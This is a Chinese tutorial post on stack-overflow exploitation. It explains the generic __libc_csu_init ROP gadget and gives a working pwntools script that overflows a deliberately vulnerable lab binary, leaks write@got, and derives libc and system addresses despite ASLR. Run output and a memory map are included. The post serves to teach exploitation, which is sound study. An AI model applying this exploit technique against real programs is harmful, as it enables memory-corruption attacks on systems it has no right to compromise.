二进制安全之栈溢出(九)
本篇的代码和之前的略有修改,diff 是这样的。
126c26
2< write(1, "You Are Naive.\n", 15);
3---
4> printf("You Are Naive.\n");
其实是为了强行构造漏洞… 编译参数为 gcc -g -O0 -fno-stack-protector -o vuln main.c
,需要开启 aslr。
通用 gadget
之前为了构造 gadget 我们使用工具去二进制文件和 libc 中寻找比较明显的,但是可能存在的两个问题
- 有些 gadget 不是太明显,需要经过很多步骤的初始化才能得到
- 在开启了 aslr 的情况下,libc 基址并不知道,libc 中的 gadget 使用比较困难
其实在使用了 libc 的二进制程序中,基本上都有一段最多可以写三个参数寄存器的通用 gadget,就在函数 __libc_csu_init
中。
1gdb-peda$ pdisas __libc_csu_init
2Dump of assembler code for function __libc_csu_init:
3 0x00000000004007e0 <+0>: push r15
4 0x00000000004007e2 <+2>: push r14
5 0x00000000004007e4 <+4>: mov r15d,edi
6 0x00000000004007e7 <+7>: push r13
7 0x00000000004007e9 <+9>: push r12
8 0x00000000004007eb <+11>: lea r12,[rip+0x20061e] # 0x600e10
9 0x00000000004007f2 <+18>: push rbp
10 0x00000000004007f3 <+19>: lea rbp,[rip+0x20061e] # 0x600e18
11 0x00000000004007fa <+26>: push rbx
12 0x00000000004007fb <+27>: mov r14,rsi
13 0x00000000004007fe <+30>: mov r13,rdx
14 0x0000000000400801 <+33>: sub rbp,r12
15 0x0000000000400804 <+36>: sub rsp,0x8
16 0x0000000000400808 <+40>: sar rbp,0x3
17 0x000000000040080c <+44>: call 0x400540 <_init>
18 0x0000000000400811 <+49>: test rbp,rbp
19 0x0000000000400814 <+52>: je 0x400836 <__libc_csu_init+86>
20 0x0000000000400816 <+54>: xor ebx,ebx
21 0x0000000000400818 <+56>: nop DWORD PTR [rax+rax*1+0x0]
22 0x0000000000400820 <+64>: mov rdx,r13
23 0x0000000000400823 <+67>: mov rsi,r14
24 0x0000000000400826 <+70>: mov edi,r15d
25 0x0000000000400829 <+73>: call QWORD PTR [r12+rbx*8]
26 0x000000000040082d <+77>: add rbx,0x1
27 0x0000000000400831 <+81>: cmp rbx,rbp
28 0x0000000000400834 <+84>: jne 0x400820 <__libc_csu_init+64>
29 0x0000000000400836 <+86>: add rsp,0x8
30 0x000000000040083a <+90>: pop rbx
31 0x000000000040083b <+91>: pop rbp
32 0x000000000040083c <+92>: pop r12
33 0x000000000040083e <+94>: pop r13
34 0x0000000000400840 <+96>: pop r14
35 0x0000000000400842 <+98>: pop r15
36 0x0000000000400844 <+100>: ret
37End of assembler dump.
这个 gadget 的流程是这样的
利用
如果看懂了上面的图,那很容易就可以使用这个 gadget,下面是一个泄露 libc 基地址的 shellcode
1# coding=utf-8
2from pwn import *
3student = 0x7fffffffe2f0
4
5elf = ELF("./vuln")
6write_got = elf.got["write"]
7# 这个 gadget 就是读取 write@got 的地址
8# rbx rbp r12 r13 r14 r15 second gadget
9gadget = p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400820)
10
11shellcode = "1925\n"
12# 偏移量和开启 aslr 没关系,这里的硬编码的是偏移量而不是地址
13shellcode += "A" * (0x7fffffffe348 - student)
14# gadget start addr -> return addr
15shellcode += p64(0x40083a)
16
17proc = process("./vuln")
18proc.send(shellcode)
19raw_input()
20proc.sendline(gadget)
21print(proc.recvuntil("Second Here.\n"))
22# 读取到了 write@got 的地址
23write_plt = u64(proc.recv(8))
24print("write@got addr ", hex(write_plt))
25
26libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
27libc_base = write_plt - libc.symbols["write"]
28print("libc base addr ", hex(libc_base))
29
30system = libc_base + libc.symbols["system"]
31print("system addr ", hex(system))
运行结果是
1➜ new python shellcode.py
2[*] '/home/virusdefender/Desktop/pwn/new/vuln'
3 Arch: amd64-64-little
4 RELRO: Partial RELRO
5 Stack: No canary found
6 NX: NX enabled
7 PIE: No PIE (0x400000)
8[+] Starting local process './vuln': pid 9907
9
10What's Your Birth?
11What's Your Name?
12You Are Born In 1094795585
13You Are Naive.
14You Spend One Second Here.
15
16('write@got addr ', '0x7f4314f8d280')
17[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
18 Arch: amd64-64-little
19 RELRO: Partial RELRO
20 Stack: Canary found
21 NX: NX enabled
22 PIE: PIE enabled
23('libc base addr ', '0x7f4314e96000')
24('system addr ', '0x7f4314edb390')
vmmap
的结果如下,可以看到和 shellcode 的输出一致。
1gdb-peda$ vmmap
2Start End Perm Name
30x00400000 0x00401000 r-xp /home/virusdefender/Desktop/pwn/new/vuln
40x00600000 0x00601000 r--p /home/virusdefender/Desktop/pwn/new/vuln
50x00601000 0x00602000 rw-p /home/virusdefender/Desktop/pwn/new/vuln
60x01754000 0x01775000 rw-p [heap]
70x00007f4314e96000 0x00007f4315056000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
80x00007f4315056000 0x00007f4315256000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
90x00007f4315256000 0x00007f431525a000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
100x00007f431525a000 0x00007f431525c000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
110x00007f431525c000 0x00007f4315260000 rw-p mapped
120x00007f4315260000 0x00007f4315286000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
130x00007f4315466000 0x00007f4315469000 rw-p mapped
140x00007f4315483000 0x00007f4315485000 rw-p mapped
150x00007f4315485000 0x00007f4315486000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
160x00007f4315486000 0x00007f4315487000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
170x00007f4315487000 0x00007f4315488000 rw-p mapped
180x00007ffc9b5d9000 0x00007ffc9b5fa000 rw-p [stack]
190x00007ffc9b5fb000 0x00007ffc9b5fd000 r--p [vvar]
200x00007ffc9b5fd000 0x00007ffc9b5ff000 r-xp [vdso]
210xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]